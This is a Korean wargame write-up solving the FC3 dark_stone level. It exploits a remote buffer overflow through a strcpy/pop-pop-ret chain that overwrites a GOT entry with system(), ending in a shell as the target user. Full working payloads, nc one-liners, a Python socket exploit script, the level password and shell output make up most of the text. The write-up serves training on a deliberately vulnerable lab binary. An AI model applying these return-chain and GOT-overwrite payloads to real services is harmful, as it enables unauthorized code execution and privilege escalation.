FC3의 마지막 문제.

GOT overwrite / RemoteBOF

2017/05/08 - [System/Practice] - FC3 dark_eyes - hell_fire : remoteBOF, GOT overwrite, mprotect ★ 와 달리 메모리 초기화 때문에 실행되면서 무조건 fault가 발생해 client로 응답이 돌아오지 않는다.

그러나 제대로 리턴해서 exploit하게 되면 exec*하면서 fault가 발생하지 않으니까 위와 같이 /bin/my-pass의 실행 결과를 소켓으로 받아볼 수 있을 듯.


```bash

[evil_wizard@Fedora_1stFloor ~]$ python -c 'print "b"*268+"\x60\x65\x74\x00"' | nc localhost 8888

dark_stone : how fresh meat you are!

you : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbל⽠et

```
``c exit()``로 리턴해보니 역시 fault가 발생하지 않아 응답이 잘 돌아온다.


xinetd에서 돌아가는 파일이 홈 디렉토리에 있기 때문에 파일 바꿔치기해서 일단 비밀번호는 그냥 알아낼 수 있다.

```

euid = 505

let there be light

```

그치만 당연히 이런 식으로 풀라고 낸 문제는 아닐거고,

xinetd에서 돌아가기 때문에 evil_wizard에서 사용했던 메모리에 있는 값으로 symlink하는 방법으로는 풀 수 없다.

hell_fire에서 사용했던 방법들은 stdin 객체에 위치가 고정인 input을 넘길 수 있기 때문에 가능했던 방법인데, stdin 객체를 초기화하기 때문에 이 방법도 불가능.


그럼 다시 string pointer를 어떻게 얻어낼 것인가 하는 문제에 직면한다.

생각나는 방법도, 힌트도 GOT overwrite니까 이걸 사용하는게 맞을 것 같기는 한데, ``c strcpy()`` 리턴한다고 해도 어쨌든 src 파라미터에 사용할 string pointer가 있어야 한다. 


pop-pop-ret

pop-pop-ret 가젯을 어디다 쓸 수 있을까 생각해봤는데, 이를 사용하지 않고 일반적으로 GOT overwrite를 사용하면 ``c strcpy()``의 dest, src 파라미터 때문에 결과적으로 호출할 함수 ( e.g., ``c execl()``)의 파라미터를 esp 기준으로 사용할 수 없기 때문에, ebp를 기준으로 넘겨야 한다.

buffer

256 Byte 

8 Byte

sfp

ret ( strcpy )

ret ( execl )

dest

src / execl의 param1

execl의 param2

...


pop-pop-ret 가젯을 사용하면, dest, src를 pop으로 제거하고 그 아래에서 리턴할 수 있기 때문에 esp를 기준으로 파라미터를 넘길 수 있다.

buffer

256 Byte 

8 Byte

sfp

ret ( strcpy )

ret ( pop-pop-ret )

dest

src

ret ( execl )

ret dummy

execl의 param1

...


더 중요한 것은 strcpy / pop-pop-ret / dest / src로 이어지는 ret chain을 원하는 만큼 구성해 메모리에 산재해 있는 데이터 조각으로부터 데이터를 자유롭게 쓸 수 있다는 점이다.

ret ( strcpy )

ret ( pop-pop-ret )

dest

src

ret ( strcpy )

ret ( pop-pop-ret )

dest

src

...

ret ( execl )

ret dummy

execl의 param1

...


string pointer

아무튼, 다시 string pointer를 얻어내야 하는 문제로 돌아와 보면, 문제를 해결하기 위해서 얻어내야 하는 string pointer는 다음 두 가지다.
  1. ``c strcpy()``의 src에 들어갈, ``c execl()``의 주소가 적혀있는 string pointer
  2. ``c execl()``의 파라미터에 들어갈, `` /bin/my-pass`` 등이 적혀있는 string pointer
그러나 메모리에 위 두 가지 값이 얌전히 들어있을 리는 없고, 다른 방법을 사용해야 하는데 여기서 pop-pop-ret 가젯을 활용할 수 있다. pop-pop-ret를 사용하면 `` 0x7a`` `` 0x57`` ``0x20`` 을 모아 `` 0x7a5720``을 만들 수 있다.
``c strcpy()``는 `` 0x00``을 만날 때 까지 쓰기 때문에 써야할 곳 4byte가 `` 0xAABBCCDD``라고 하면, `` 0xDD``를 먼저, `` 0xAA`` 를 마지막에 써야한다. `` 0xDD`` 등은 이후 쓰는 데이터 조각으로 덮어 쓸 수 있기 때문에 데이터 조각 찾기가 좀 편하다.

tttt_ttttt의 데이터 조각

```
0x0804855b : [ 20 00 ] 00 00 e9 a0      <_init+111>
0x08048b97 : [ 57 ] 56 53 e8 00         <__libc_csu_fini+3>
[ 7a ]는 아무리 찾아도 없다.
```
아무튼 `` 7a``를 못찾으면 주소를 쓸 수 없기 때문에 이 함수를 사용하는 것은 포기하고,
``c system()``을 사용해보기로 했다. 생각해보니 어차피 파라미터 1개만 넘겨도 되서 ``c system()``이 더 편하기도 하고..
``c system()``의 주소는 `` 0x7507c0``이다. 공교롭게도 ``c memcpy()``의 주소는 `` 0x7854c0``이니 맨 마지막 `` 0xc0``은 안 써도 되겠다.
```
0x0804917c : [ 07 ] 00 00 00 14        어느 section에도 속하지 않는 영역
0x08049db2 : [ 75 00 ] c0 54 78 00     printf의 GOT
```
이는 tttt_ttttt의 메모리에서 찾은 주소이기 때문에, 이에 대응되는 dark_stone의 주소를 찾아야 한다.

dark_stone의 addrs

```
0x08048438    // jmp strcpy
0x080484f3    // pop_pop_ret+3 ( prologue 제거 )
0x08049850    // overwrited_got (memcpy's got)
0x08048418    // overwrited_func (jmp memcpy)

0x804917c: 0x000000 [ 07 ]
0x804984e <_GLOBAL_OFFSET_TABLE_+30>: 0x54c0 [ 0075 ]
```

이제 찾은 주소를 바탕으로 쉘코드를 구성하면 이렇게 된다.

* GOT overwrite만 수행하고 마지막에 ``c system()``의 인자로 들어가는 string pointer를 아직 구성하지 않은 상태이기 때문에, 마지막 인자(system의 인자)는 그냥 메모리에서

적당한 값( `` 0x8048001:   "ELF\001\001\001`` )을 찾아서 넣었다. 

```bash

[evil_wizard@Fedora_1stFloor ~]$ python -c 'print "b"*268+\

"\x38\x84\x04\x08"+ \

"\xf3\x84\x04\x08"+ \

"\x51\x98\x04\x08"+ \

"\x7c\x91\x04\x08"+ \

"\x38\x84\x04\x08"+ \

"\xf3\x84\x04\x08"+ \

"\x52\x98\x04\x08"+ \

"\x4e\x98\x04\x08"+ \

"\x18\x84\x04\x08"+ \

"\x42\x42\x42\x42"+ \

"\x01\x80\x04\x08"' | nc localhost 8888

dark_stone : how fresh meat you are!

you : sh: ELF: command not found

```
`` sh: ELF: command not found``가 출력된 것을 보니 GOT overwrite가 성공해 ``c system()``은 잘 실행 되었고, 인자로 들어가는 string pointer만 제대로 구성해서 넘기면 바로 해결할 수 있겠다.


byte 단위로 쓸 거라 endian은 고려하지 않아도 된다. 사실 주소가 아니면 endian을 고려해야 하는 경우는 드물다.

/bin/my-pass의 hex data : `` \x2F\x62\x69\x6E\x2F\x6D\x79\x2D\x70\x61\x73\x73``

dark_stone이 ``c setuid()/setruid()``를 호출하지 않아 /bin/sh를 실행해도 ruid가 그대로이기 때문에 권한 상승이 안될거라고 생각해서 /bin/my-pass로 진행했는데 xinetd에서 돌아가기 때문에 /bin/sh를 넘겨도 권한 상승이 된다...

/bin/sh를 사용하면 그만큼 쉘코드가 더 짧아진다.


그럼 다시 tttt_ttttt에서 procfs_search.h를 이용해 찾은 다음 대응되는 dark_stone의 주소를 찾아보면,

```

0x8049114:                      "/lib/ld-linux.so.2"           // / b i n -

0x8048718 <_IO_stdin_used+4>: "dark_stone : how fresh meat you are!\n" // s m y a

0x80496b3: 0x05ebff70     // p

0x80496c3: 0x83000000     // 맨 끝 0x00

```
두 번째 행을 보면, 프로그램에서 출력되는 string이 .rodata section에 있다. 
ollydbg는 string을 한 번에 정리해서 보여주지만 gdb는 그렇지 않으니까 이걸 생각못하고 시간낭비하지 않도록 유의한다.

/bin/my-pass를 쓰기 적당한 곳을 찾아보니 `` 0xf6ff8001``가 괜찮아 보인다.
stdin으로 받는 경우 `` 0x0a``가 있으면 안되니까, /bin/my-pass가 `` 0xf6ff800b``부터 쓰기 시작했다.

```bash
[evil_wizard@Fedora_1stFloor ~]$ python -c 'print "b"*268 + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x51\x98\x04\x08" + \
"\x7c\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x52\x98\x04\x08" + \
"\x4e\x98\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0b\x80\xff\xf6" + \
"\x14\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0c\x80\xff\xf6" + \
"\x17\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0d\x80\xff\xf6" + \
"\x16\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0e\x80\xff\xf6" + \
"\x1e\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0f\x80\xff\xf6" + \
"\x14\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x10\x80\xff\xf6" + \
"\x2f\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x11\x80\xff\xf6" + \
"\x34\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x12\x80\xff\xf6" + \
"\x1b\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x13\x80\xff\xf6" + \
"\xb3\x96\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x14\x80\xff\xf6" + \
"\x19\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x15\x80\xff\xf6" + \
"\x1d\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x16\x80\xff\xf6" + \
"\x1d\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x17\x80\xff\xf6" + \
"\xc3\x96\x04\x08" + \
"\x18\x84\x04\x08" + \
"\x42\x42\x42\x42" + \
"\x0b\x80\xff\xf6"' | nc localhost 8888
dark_stone : how fresh meat you are!
you : euid = 505
let there be light
```
성공~ 하나의 char 씩 ``c strcpy()``해서 string을 만들었기 때문에 쉘코드가 무진장 길다.

python을 이용해 조금 더 보기 쉽게 작성해봤다.
```python
import socket
from struct import pack

L = lambda x : pack('<L', x)

dummy = b"b"*268
exit_addr = 0x00746560

strcpy = 0x08048438
pop_pop_ret = 0x080484f3
overwrited_got = 0x08049850
overwrited_func = 0x08048418

# system() addr : 0x007507c0
piece_07 = 0x0804917c
piece_0075 = 0x0804984e

# /bin/my-pass
piece_str1 = 0x8049114   # /lib/ld-linux.so.2
piece_str2 = 0x8048718   # dark_stone : how fresh meat you are!\n
piece_p = 0x80496b3      # p
piece_00 = 0x80496c3     # last 0x00

dest_str = 0xf6ff800b


shellcode = dummy + \
L(strcpy) + \
L(pop_pop_ret) + \
L(overwrited_got+1) + \
L(piece_07) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(overwrited_got+2) + \
L(piece_0075) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str) + \
L(piece_str1) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+1) + \
L(piece_str1+3) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+2) + \
L(piece_str1+2) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+3) + \
L(piece_str1+10) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+4) + \
L(piece_str1) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+5) + \
L(piece_str2+23) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+6) + \
L(piece_str2+28) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+7) + \
L(piece_str1+7) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+8) + \
L(piece_p) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+9) + \
L(piece_str2+1) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+10) + \
L(piece_str2+5) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+11) + \
L(piece_str2+5) + \
L(strcpy) + \
L(pop_pop_ret) + \
L(dest_str+12) + \
L(piece_00) + \
L(overwrited_func) + \
b"bbbb" + \
L(dest_str)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.180.45.17", 7602))
print(s.recv(1024))
s.sendall(shellcode+b"\n")
print(s.recv(1024))

====================================
b'dark_stone : how fresh meat you are!\nyou : '
b'euid = 505\nlet there be light\n'
```

libc-2.3.3.so    :    <__libc_ptyname1+2172>에는 "/bin/sh" 가 있다.

다른 사람들은 어떻게 풀었나 찾아보니까, 메모리에 /bin/sh 문자열이 그냥 있었다. 
```
0071c000-0083d000 r-xp 00000000 fd:00 68708      /lib/tls/libc-2.3.3.so
0x008335ff : 00 2d 63 00 [ 2f 62 69 6e 2f 73 68 00 ] 65 78 69 74

0x833603 <__libc_ptyname1+2172>:         "/bin/sh"
```

그래서 굳이 문자열 만들 필요 없이 그냥 이를 가져다 쓰면 된다. xinetd 위에서 돌아가기 때문에 ``c setuid()``없어도 `` ruid``가 변경된다. 그래서 그냥 /bin/sh를 사용해도 권한이 상승된다.
```bash
[evil_wizard@Fedora_1stFloor ~]$ python -c 'print "b"*268 + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x51\x98\x04\x08" + \
"\x7c\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x52\x98\x04\x08" + \
"\x4e\x98\x04\x08" + \
"\x18\x84\x04\x08" + \
"\x42\x42\x42\x42" + \
"\x03\x36\x83\x00"' | nc localhost 8888
```
안된다. fault가 발생한다. core dump를 확인해보니 ``c do_system()``에서 마지막에 ret할 때 ret dummy로 지정한 `` "\x42\x42\x42\x42"``를 찾을 수 없기 때문이었다.
근데 쉘 실행하는거랑 이거랑 무슨 관련이 있지 생각하다가.... stdin으로 받으면 파이프를 써서 넘기게 되는데, 마지막에 ; cat 안적어주면 EOF넘어가서 쉘이 뜨자 마자 바로 종료된다는게 생각났다 ㅡㅡㅡㅡ;;; 

```bash
[evil_wizard@Fedora_1stFloor ~]$ (python -c 'print "b"*268 + \
> "\x38\x84\x04\x08" + \
> "\xf3\x84\x04\x08" + \
> "\x51\x98\x04\x08" + \
> "\x7c\x91\x04\x08" + \
> "\x38\x84\x04\x08" + \
> "\xf3\x84\x04\x08" + \
> "\x52\x98\x04\x08" + \
> "\x4e\x98\x04\x08" + \
> "\x18\x84\x04\x08" + \
> "\x42\x42\x42\x42" + \
> "\x03\x36\x83\x00"';cat) | nc localhost 8888
dark_stone : how fresh meat you are!
you :
id
uid=505(dark_stone) gid=505(dark_stone) context=user_u:system_r:unconfined_t
```

정리

FC3은 ASLR과 library mapping address의 첫 번째 1byte가 0x00이라는 점을 우회하기 위한 GOT overwrite가 주를 이뤘다.